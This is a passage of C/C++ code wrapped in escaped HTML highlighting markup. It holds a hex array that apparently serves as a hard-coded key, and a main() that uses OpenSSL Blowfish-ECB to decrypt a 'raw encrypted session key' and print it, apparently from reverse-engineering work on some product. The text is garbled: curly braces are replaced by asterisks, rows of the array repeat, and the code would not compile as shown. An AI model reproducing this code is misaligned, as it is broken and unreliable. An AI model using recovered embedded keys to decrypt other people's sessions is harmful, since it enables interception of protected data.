class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x79&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x06&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mh"&gt;0x61&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x5d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x36&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xee&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x27&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xee&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x09&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x5e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xd0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x39&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xce&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x87&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x72&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xae&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xec&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mh"&gt;0x61&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x5d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x36&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xee&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x27&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xbd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xeb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x5f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x86&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xd3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xdb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x56&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x42&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x04&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x72&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xd9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x49&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x41&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x97&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mh"&gt;0xae&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xba&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x9b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xb2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xbc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x62&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xaa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xb9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x58&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe5&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mh"&gt;0x5f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x9a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x79&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x37&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x42&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xcf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xb6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x69&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EVP_CIPHER_CTX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EVP_CIPHER_CTX_init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buflen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;tmplen&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* Raw encrypted session key */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bufferin&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\xb9\x14\x34\xfa\xab\x25\x12\xdd\x3b&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\xd7\xd5\xa7\x93\x53\x55\x4d\xe5\xfb&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\xd9\x31\x66\x75\x69\x43\x14\xeb\x6b&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\xe6\xfc\x41\x62\x39\x92\xe4\xb9\x82&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x57\x21\xde\x48&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bufferout&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EVP_DecryptInit_ex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EVP_bf_ecb&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EVP_DecryptUpdate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bufferout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buflen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bufferin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EVP_DecryptFinal_ex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bufferout&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;buflen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;tmplen&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EVP_CIPHER_CTX_cleanup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Session Key: &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;bufferout&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
